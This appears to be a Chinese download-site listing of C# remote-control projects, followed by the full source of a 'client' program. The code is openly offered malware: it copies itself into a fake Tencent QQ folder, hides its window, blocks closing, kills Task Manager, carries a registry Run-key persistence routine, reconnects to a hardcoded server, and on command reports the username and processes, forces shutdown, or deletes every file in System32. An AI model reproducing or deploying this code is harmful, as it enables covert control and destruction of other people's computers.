精华内容
下载资源
问答
  • 最全c#远程控制源码

    2019-04-17 16:09:25
    包含TwoCare,ICanSeeYou,PcShare远程控制2008,使用soaphead对webservice进行加密的实例等。
  • 功能强大的C#远程控制软件整个项目代码,功能非常完整,代码可以顺利编译,类似灰鸽子的大部分功能,硬盘浏览,屏幕监控控制,注册表,视频,命令行,命令广播,文件传输,进程等都齐全,差不多灰鸽子有的功能都有了...
  • c#远程控制linux

    2015-08-19 11:14:55
    使用c#实现的windows平台下对远程的linux终端或服务器的ssh远程控制程序。有示例代码和对应的教程,希望对大家有帮助。
  • C#远程控制软件 包含整个项目代码,可进行远程控制电脑
  • c#远程控制源码(合集)

    热门讨论 2012-04-27 13:52:49
    里面是我收集的4款C#远程控制源码,非常有参考价值 2分绝对值!! 全是c# 源程序。 不是编译好的!!
  • 强大的远程协助C#源代码,含有服务端和客户端,直接通过客户端控制服务端
  • C#实现远程控制源码

    2018-03-14 16:15:18
    C# 远程控制
  • C# 远程控制 C# 远程控制 C# 远程控制 C# 远程控制 C# 远程控制 C# 远程控制 C# 远程控制
  • C#远程控制服务器端和客户端源代码

    热门讨论 2012-09-04 13:29:03
    C#远程控制服务器端和客户端源代码 需要改了IP地址就能测试
  • 以前的网上看到的一个用C#开发的可以进行远程桌面监控的程序,也可以实现远程屏幕控制,含受控端、监控端、远程监控端和代理类。
  • c#远程控制

    2013-08-23 21:45:38
    c#远程控制程序,可以用代码实现电脑的远程控制
  • 摘要:C#源码,网络相关,远程控制 c#编写实现一个远程控制程序,远程控制网络上的其它计算机,连接时只需输入对方计算机的IP和计算机名称、用户名和密码即可,这仅是一个基本的远程控制程序小模块,如果需要更多的...
  • C#远程控制(服务端、客户端) 主要功能有屏幕监控、鼠标键盘控制、任务管理器、Telnet、系统信息查看、关机注销重启等 主要用于学习并熟悉C#... 熟悉了XML的序列化、反序列化,Socket通讯,Win32API调用等
  • 摘要:C#源码,网络相关,远程控制 C#远程重启计算机源代码,一个C#远程控制的演示小程序,首先添加对 System.Management的引用,得到WMI控制。
  • //以后想发远程cmd就把空间放大一点【1M也够了】--如果想发软件,可以发地址过来,让客户端自己下载(不然拖慢两边速度) int r = socketSend.Receive(buffer);//接受数据,返回实际字节数 byte cmd = buffer[0];//...

    【实例简介】调试时 需要将ip地址 改成自己本机的ip地址

    【实例截图】

    eeddb57088ce6d68ffff7ee8821f87fe.png

    需改 Server.cs和Client.cs中的ip地址即可,如下:

    a0b53752da68168428559b51556d33a7.png

    【核心代码】

    using Microsoft.Win32;

    using System;

    using System.Collections.Generic;

    using System.ComponentModel;

    using System.Data;

    using System.Diagnostics;

    using System.Drawing;

    using System.Linq;

    using System.Net;

    using System.Net.Sockets;

    using System.Runtime.InteropServices;

    using System.Text;

    using System.Threading;

    using System.Windows.Forms;

    using System.IO;

    namespace _99.远控客户端

    {

    public partial class Client : Form

    {

    public Client()

    {

    InitializeComponent();

    }

    bool b = true;

    Socket socketSend;

    private void Client_Load(object sender, EventArgs e)

    {

    //Startup(); //加开机启动

    this.Width = 0;

    this.Height = 0;

    Brothers();//复制一份

    Control.CheckForIllegalCrossThreadCalls = false;//关闭线程监视

    //和主机连接起来——————为了避免假死,就弄个线程过来

    Thread th = new Thread(ClientConnect);

    th.IsBackground = true;//[后台线程--主窗体被关闭了,程序会立刻结束]

    th.Start();

    }

    #region 自我保护

    public void Brothers()

    {

    try

    {

    string path = Application.ExecutablePath;

    string fileName = Path.GetFileName(path);

    Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt");

    string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\" fileName;

    if (!File.Exists(newFileName))

    {

    File.Copy(fileName, newFileName, true);

    Process.Start(newFileName);

    }

    }

    catch { }

    }

    #endregion

    #region 加开机启动——————我这边不想邪恶,就注释了,你要的话就弄出来就行了

    public void Startup() //win8 60%的电脑有用,win7都可以

    {

    try

    {

    string KJLJ = Application.ExecutablePath;

    if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在

    return;

    string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") 1);

    RegistryKey Rkey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

    if (Rkey == null)

    Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");

    Rkey.SetValue(newKJLJ, KJLJ);

    }

    catch { }

    }

    #endregion

    #region 连接服务器

    public void ClientConnect()

    {

    while (b)//连接没问题就只连接一次,一旦出现问题就反复连接直到成功

    {

    try

    {

    //创建一个Socket通信对象

    socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

    //获取服务器ip

    IPAddress ip = IPAddress.Parse("192.168.92.1");

    //开始连接

    socketSend.Connect(ip, 5438);

    b = false;//到这一步说明程序正常,就不要反复连接来占用资源了

    //连接成功后咱们就得接受服务器的指令了

    Thread th = new Thread(DntWatch);

    th.IsBackground = true;

    th.Start();

    }

    catch

    {

    b = true;//有问题,那就继续连呗,反正又不是咱们的电脑,不能告诉他详细信息的

    }

    }

    }

    #endregion

    #region 结束taskmgr

    public void KillProcess()

    {

    Process[] pro = Process.GetProcessesByName("taskmgr");

    foreach (Process item in pro)

    {

    try { item.Kill(); }

    catch { }

    }

    }

    private void timer1_Tick(object sender, EventArgs e)

    {

    KillProcess();

    }

    #endregion

    #region 获取进程

    public string GetProcess()

    {

    StringBuilder sb = new StringBuilder();

    Process[] ps = Process.GetProcesses();

    foreach (Process item in ps)

    {

    sb.Append(item.ProcessName).Append("\n");

    }

    return sb.ToString();

    }

    #endregion

    #region 等待服务器指令

    public void DntWatch()

    {

    string userName = null;

    try

    {

    while (true)

    {

    byte[] buffer = new byte[1];//以后想发远程cmd就把空间放大一点【1M也够了】--如果想发软件,可以发地址过来,让客户端自己下载(不然拖慢两边速度)

    int r = socketSend.Receive(buffer);//接受数据,返回实际字节数

    byte cmd = buffer[0];//读取发的标识

    switch (cmd)

    {

    case 0:

    userName = Environment.UserName.ToString(); //获取电脑用户名

    socketSend.Send(Encoding.UTF8.GetBytes(userName));

    break;

    case 1:

    socketSend.Send(Encoding.UTF8.GetBytes(GetProcess())); //对方的任务进程

    break;

    case 2: DNT("shutdown -r -t 0"); DNT("shutdown -r -t 0"); break;//重启远程电脑

    case 3: DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0"); break;//关闭远程电脑

    case 4:

    {

    string dPath = @"C:\Windows\System32";

    string[] dfiles = Directory.GetFiles(dPath);

    foreach (string item in dfiles)

    {

    try

    {

    Process.Start("cmd");

    File.Delete(item);

    }

    catch

    {

    continue;

    }

    }

    DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");

    break; //让对方卡到爆,然后灭机

    }

    }

    }

    }

    catch//说明服务器下线了

    {

    b = true;

    Thread th = new Thread(ClientConnect);

    th.IsBackground = true;//[前台线程--主窗体被关闭了,程序不会立刻结束]

    th.Start();

    }

    }

    #endregion

    #region 关机重启

    [DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]

    private static extern int ExitWindowsEx(int uFlags, int dwReserved);

    public void DNT(string input)//关机 //重启

    {

    System.Diagnostics.Process myProcess = new System.Diagnostics.Process();

    myProcess.StartInfo.FileName = "cmd.exe";

    myProcess.StartInfo.UseShellExecute = false;

    myProcess.StartInfo.RedirectStandardInput = true;

    myProcess.StartInfo.RedirectStandardOutput = true;

    myProcess.StartInfo.RedirectStandardError = true;

    myProcess.StartInfo.CreateNoWindow = true;

    myProcess.Start();

    myProcess.StandardInput.WriteLine(input); //-r重启-s关机

    }

    #endregion

    #region 窗体不关闭

    private void Client_FormClosing(object sender, FormClosingEventArgs e)

    {

    e.Cancel = true;

    }

    #endregion

    }

    }

    展开全文
  • C# 远程控制软件 远程协助 源码 已用VS.net2010编译测试通过 版权所有jackch
  • C# 远程控制

    2013-05-15 15:26:27
    C#远程控制 客户端和服务器端,vs2010
  • C#远程控制

    2008-05-12 20:15:44
    我写的远程控制... 遇到的问题。。 大家都来看看帮我解决问题 源代码和问题在里面
  • C#远程控制计算机C#远程控制计算机C#远程控制计算机C#远程控制计算机C#远程控制计算机
  • C#语言基于RDP协议编写的远程桌面控制程序,编译可运行。
  • C#远程桌面控制.rarC#远程桌面控制.rarC#远程桌面控制.rarC#远程桌面控制.rarC#远程桌面控制.rar
  • 攻击机 和 肉机 分别设置两个ip,需要在代码中修改,可以完成对端键盘、鼠标的控制,这只是一个初步的代码,看懂了以后可以继续往后做,有不懂的可以加
  • 通过TCP协议,控制PPT播放。
  • 一款基于C#远程控制软件的源码,反弹上线。屏幕监控、视频监控、文件管理等功能都有。
  • 集成了网络通讯及大漠控制脚本的C#远程控制另一机器源代码示例 代码简单实用,可扩展出非常多的功能. 你可以在此基础上做自己的远程控制程序. 或者编写代替人工操作一些烦杂的机械类操作. 也可以用他来写游戏脚本.......
  • 里面是我收集的4款远程控制源码,非常有参考价值 10分绝对值!! PCshare 就不用说了吧,小黑必备工具。 全是c# 源程序。 不是编译好的!!
  • 服务器与客户端。可以锁定服务器鼠标和键盘!有点缺陷。
  • c# 远程控制源码例子

    2008-08-25 21:25:04
    c# 远程控制源码c# 远程控制源码c# 远程控制源码c# 远程控制源码
  • 完整的项目源代码,反弹、主机可以自动上线,远程文件、注册表、进程、服务、事件日志、网络连接、开机启动等管理、远程主机IP识别、批量控制主机,视频监控,远程桌面控制……

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 28,768
精华内容 11,507
关键字:

c#远程控制

c# 订阅